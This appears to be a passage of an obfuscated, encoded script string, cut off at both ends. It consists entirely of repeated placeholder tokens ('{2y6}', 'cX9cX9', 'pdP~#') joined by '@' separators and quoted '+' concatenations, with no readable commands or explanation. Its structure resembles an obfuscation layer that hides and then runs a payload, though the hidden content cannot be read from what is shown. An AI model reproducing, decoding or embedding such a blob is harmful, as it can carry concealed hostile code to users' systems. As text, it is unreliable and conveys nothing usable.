}2y6{2y6}~{2y6}@{2y6 + })+{2y6}#-/{2y6}@{2y6+ }%*{2y6}#-/{2y6}@{2y6+ })+{2y6}#-/{2y6}@{2y6 +})+{2y6}#-/{2y6}@{2y6 +}-=2y6{2y6}#-/{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }%*{2y6})({2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }2y6{2y6}pdP~#{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6'+'}@{2y6 + };{2y6}-=2y6{2y6}@{2y6 + })+{2y6};{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+ })+{2y6}2y6{2y6}@{2y6+})({2y6}%*{'+'2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +}%*{2y6}~{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6+ })+{2y6};{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6 +};{2y6};{2y6}%*{2y6}@{2y6 +}%*{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 +})+{2y6}~{2y6}@{2y6 + })'+'+{2y6}~{2y6}@{2y6+}~{2y6})({2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6'+'}@{2y6+};{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}2y6{2y6}@{2y6+ })({2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6};{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6 +}2y6{2y6}~{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}2y6{2y6}@{2y6 + }#-/{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}~{2y6}%*{2y6}%*{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6+}cX9cX9{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6 +}%*{2y6}-=2y6{2y6}@{2y6+})+{2y6}~{2y6}@{2y6+})+{2y6}~{2y6}@{2y6+ }~{2y6})({2y6}@{2y6+ })+{2y6}2y6{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6 +};{2y6}%*{2y6}@{2y6 +}%*{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}%*{2y6})({2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}~{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6+ }2y6{2y6}pdP~#{2y6}@{2y6 +};{2y6};{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6+}pdP~#{2y6}#-/{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6})({2y6}@{2y6+ }cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6+}-=2y6{2y6}2y6{2y6}@{'+'2y6+ })({2y6}-=2y6{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6 +}%*{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6+ })+{2y6}pdP~#{2y6}@{2y6+ })+{2y6}pdP~#{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6 +}%*{2y6}pdP~#{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 +}-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+'+'{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + };{2y6}%*{2y6}@{2y6 +}~{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+}#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6};{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}cX9cX9{2y6}%*{2y6}%*{2y6}@{2y6+ };{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}-=2y6{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6};{2y6}%*{2y6}@{2y6+}%*{2y6}%*{2y6}%*{2y6}@{2y6 +}2y6{2y6}%*{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 +}-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ })+{2y6}2y6{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6+ }2y6{2y6}#-/{2y6}@{2y6 +}2y6{2y6}#-/{2y6}@{2y6 +})+{2y6}pdP~#{2y6}@{2y6 +})+{2y6};{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6+ };{2y6};{2y6}%*{2y6}@{2y6 + }%*{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6}pdP~#{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 +};{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6}pdP~#{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}%*{2y6})({2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6+ }pdP~#{2y6})+'+'{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+};{2y6}%*{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+};{2y6}%*{2y6}@{2y6 + };{2y6}~{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6+ }%*{2y6}%*{2y6}%*{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}%*{2y6}%*{2y6}%*{2y6}@{2y6 + }~{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+};{2y6}%*{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6 +}~{2y6}-=2y6{2y6}@{2y6+}#-/{2y6}-=2y6{2y6}@{2y6 +};{2y6}~{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+};{2y6}%*{2y6}@{2y6+}~{2y6}-=2y6{2y6}@{2y6 + }~{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +};{2y6}~{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6 + };{2y6}~{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 +}-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 + }'+';{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 +};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}#-/{2y6}@{2y6+}pdP~#{2y6}-=2y6{2y6}@{2y6 +}2y6{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})({2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ })+{2y6};{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6+}#-/{2y6}-=2y6{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 +}~{2y6}%*{2y6}%*{2y6}@{2y6 '+' +}pdP~#{2y6}~{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }2y6{2y6}~{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6 + };{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}'+'-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6};{2y6}%*{2y6}@{2y6+ }2y6{2y6}pdP~#{2y6}@{2y6 + }pdP~#{2y6}~{2y6}@{2y6 + }#-/{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ }2y6{2y6}~{2y6}@{2y6 + }cX9cX9{2y6}'+')+{2y6}@{2y6 +}%*{2y6})({2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }pdP~#{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6+};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}#-/{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6+};{2y6}#-/{2y6}@{2y6+}~{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 + }2y6{2y6}pdP~#{2y6}@{2y6+ };{2y6};{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + })({2y6})({2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+}%*{2y6}~{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6 +})+{2y6}~{2y6}@{2y6 + })+{2y6}~{2y6}@{2y6 + }~{2y6})({2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6};{2y6}%*{2y6}@{2y6+ }#-/{2y6}-=2y6{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}-=2y6{2y6})+{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}#-/{2y6}@{2y6 +}pdP~#{2y6}-=2y6{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}%*{2y6}#-/{2y6}@{2y6+ }%*{2y6}#-/{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+})({2y6}#-/{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}#-/{2y6}@{2y6 + };{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }-=2y6{2y6}#-/{2y6}@{2y6+};{2y6}#-/{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+};{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }%*{2y6}#-/{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6+ })+{2y6}cX9cX9{2y'+'6}%*{2y6}@{2y6 + }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}#-/{2y6}@{2y6+ };{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +})+{2y6}#-/{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6+};{2y6}#-/{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}-=2y6{2y6}#-/{2y6}@{2y6 +}pdP~#{2y6}-=2y6{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}-=2y6{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}#-/{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +})({2y6}#-/{2y6}@{2y6+};{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + };{2y6}#-/{2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ })+{2y6}#-/{2y6}@{2y6+ };{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6 + };{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}#-/{2y6}@{2y6 +}%*{2y6}#-/{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6 +}%*{2y6}#-/{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }2y6{2y6}-=2y6{2y6}@{2y6 +}%*{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}#-/{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}%*{2y6}#-/{2y6}@{2y6 + };{2y6}#-/{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + };{2y6}#-/{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6+ }%*{2y6}#-/{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +})+{2y6}#-/{2y6}@{2y6 + }%*{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@'+'{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + })+{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}%*{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6}-=2y6{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 